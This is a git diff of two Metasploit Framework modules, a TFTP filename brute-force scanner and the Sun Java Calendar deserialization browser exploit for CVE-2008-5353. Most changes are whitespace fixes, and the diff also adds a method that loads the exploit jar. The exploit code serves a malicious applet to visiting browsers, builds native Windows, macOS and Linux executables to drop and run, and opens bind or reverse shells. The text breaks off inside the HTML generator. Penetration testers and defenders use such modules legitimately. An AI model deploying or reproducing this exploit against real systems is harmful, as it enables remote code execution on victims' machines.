diff --git a/modules/auxiliary/scanner/tftp/tftpbrute.rb b/modules/auxiliary/scanner/tftp/tftpbrute.rb index 8263b53244..c105bfb257 100644 --- a/modules/auxiliary/scanner/tftp/tftpbrute.rb +++ b/modules/auxiliary/scanner/tftp/tftpbrute.rb @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(69), - OptPath.new('DICTIONARY', [ true, 'The list of filenames', File.join(Msf::Config.install_root, "data", "wordlists", "tftp.txt") ]) + OptPath.new('DICTIONARY', [ true, 'The list of filenames', + File.join(Msf::Config.install_root, "data", "wordlists", "tftp.txt") ]) ], self.class) end @@ -41,9 +42,9 @@ class Metasploit3 < Msf::Auxiliary { 'Msf' => framework, 'MsfExploit' => self, - } + } ) - + fd = File.open(datastore['DICTIONARY'], 'r') fd.read(fd.stat.size).split("\n").each do |filename| filename.strip! diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index b2fff27809..0fa5934290 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -1,5 +1,9 @@ ## -# This file is part of the Metasploit Framework and may be subject to +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ @@ -12,37 +16,37 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML - + def initialize( info = {} ) - + super( update_info( info, - 'Name' => 'Sun Java Calendar Deserialization Exploit', - 'Description' => %q{ + 'Name' => 'Sun Java Calendar Deserialization Exploit', + 'Description' => %q{ This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. - - The payload can be either a native payload which is generated as an executable and + + The payload can be either a native payload which is generated as an executable and dropped/executed on the target or a shell from within the Java applet in the target browser. - + The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected). }, - 'License' => MSF_LICENSE, - 'Author' => [ 'sf', 'hdm' ], - 'Version' => '1', - 'References' => + 'License' => MSF_LICENSE, + 'Author' => [ 'sf', 'hdm' ], + 'Version' => '$Revision$', + 'References' => [ [ 'CVE', '2008-5353' ], [ 'OSVDB', '50500'], [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ], [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ], [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ], - [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ] + [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ] ], - 'Platform' => [ 'win', 'osx', 'linux', 'solaris' ], - 'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true }, - 'Targets' => + 'Platform' => [ 'win', 'osx', 'linux', 'solaris' ], + 'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => [ - [ 'Generic (Java Payload)', + [ 'Generic (Java Payload)', { # This is a bad hack to force only the generic/shell_bind_tcp and generic/shell_reverse_tcp payloads 'Platform' => ['win'], @@ -50,36 +54,47 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, } ], - [ 'Windows x86 (Native Payload)', + [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], - [ 'Mac OS X PPC (Native Payload)', + [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, } ], - [ 'Mac OS X x86 (Native Payload)', + [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], - [ 'Linux x86 (Native Payload)', + [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86, } ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) end + def exploit + # load the static jar file + path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" ) + fd = File.open( path, "rb" ) + @jar_data = fd.read(fd.stat.size) + fd.close + + super + end + + def on_request_uri( cli, request ) data = nil host = nil @@ -90,15 +105,15 @@ class Metasploit3 < Msf::Exploit::Remote send_redirect( cli, get_resource() + '/', '') return end - + print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) - + payload = regenerate_payload( cli ) if not payload print_status( "Failed to generate the payload." ) return end - + if target.name == 'Generic (Java Payload)' if datastore['LHOST'] host = datastore['LHOST'] @@ -110,15 +125,15 @@ class Metasploit3 < Msf::Exploit::Remote print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." ) end else - + if target['Arch'] == ARCH_X86 data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win' - data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx' + data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx' data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux' elsif target['Arch'] == ARCH_PPC data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx' end - + if data print_status( "Generated executable to drop (#{data.length} bytes)." ) data = Rex::Text.to_hex( data, prefix="" ) @@ -126,19 +141,19 @@ class Metasploit3 < Msf::Exploit::Remote print_status( "Failed to generate the executable." ) return end - + end - - send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } ) + + send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } ) return end - - print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." ) + + print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." ) send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end - + def generate_html( data, host, port ) html = "
Loading, Please Wait...